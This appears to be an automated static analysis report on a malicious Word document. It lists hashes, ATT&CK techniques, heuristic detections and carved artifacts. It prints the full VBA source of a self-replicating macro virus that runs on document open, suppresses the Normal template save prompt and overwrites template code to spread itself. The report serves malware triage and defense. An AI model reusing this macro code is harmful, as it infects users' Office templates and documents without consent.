Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d89b8eda69428f1c…

MALICIOUS

Office (OLE)

364.5 KB Created: 2015-06-27 02:53:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: c77640157e72b1f0b5cf14c3711d8a67 SHA-1: 0df48609815ad8badb497b3c73639a6bd6ffdf67 SHA-256: d89b8eda69428f1cab892fdf301603a7a2b55d1577981784c6a4b6a844db6e40
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to infect the Normal template. It also embeds a PDF file which itself has suspicious static findings, including being an image-only lure. The macro's intent is to ensure persistence and potentially facilitate further malicious activity, aligning with spearphishing attachment tactics.

Heuristics 8

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .DeleteLines 1, .CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch In document text (OLE body)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub
icc_00_off0000404c.icc pdf-icc-profile PDF ICC profile at offset 0x404C 1980 bytes
SHA-256: 67effac6c9ae32284244ac0202a96a3c054abf1c7ff658d4841d9849f5cb5d18
icc_01_off0000452c.icc pdf-icc-profile PDF ICC profile at offset 0x452C 1960 bytes
SHA-256: 283e482d9b10db98fb7df2f6ef4bdf4ddf8de5a07d2c7530cc361ec4b29ed39a
icc_02_off000049e4.icc pdf-icc-profile PDF ICC profile at offset 0x49E4 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
font_00_sfnt_off0000582d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x582D 10404 bytes
SHA-256: 65b5318ef77d07ff1c3abc2cc7c3f88a6a231a19c96e200e451aefe449cb14fb
polyglot_child_pdf_off000203ea.pdf polyglot-child-pdf Secondary PDF body inside ole container at offset 0x203EA 241174 bytes
SHA-256: 04a184c8caaf7452208c89005c2d981f3a6871edbce33cd713ea1afcb3032ee2

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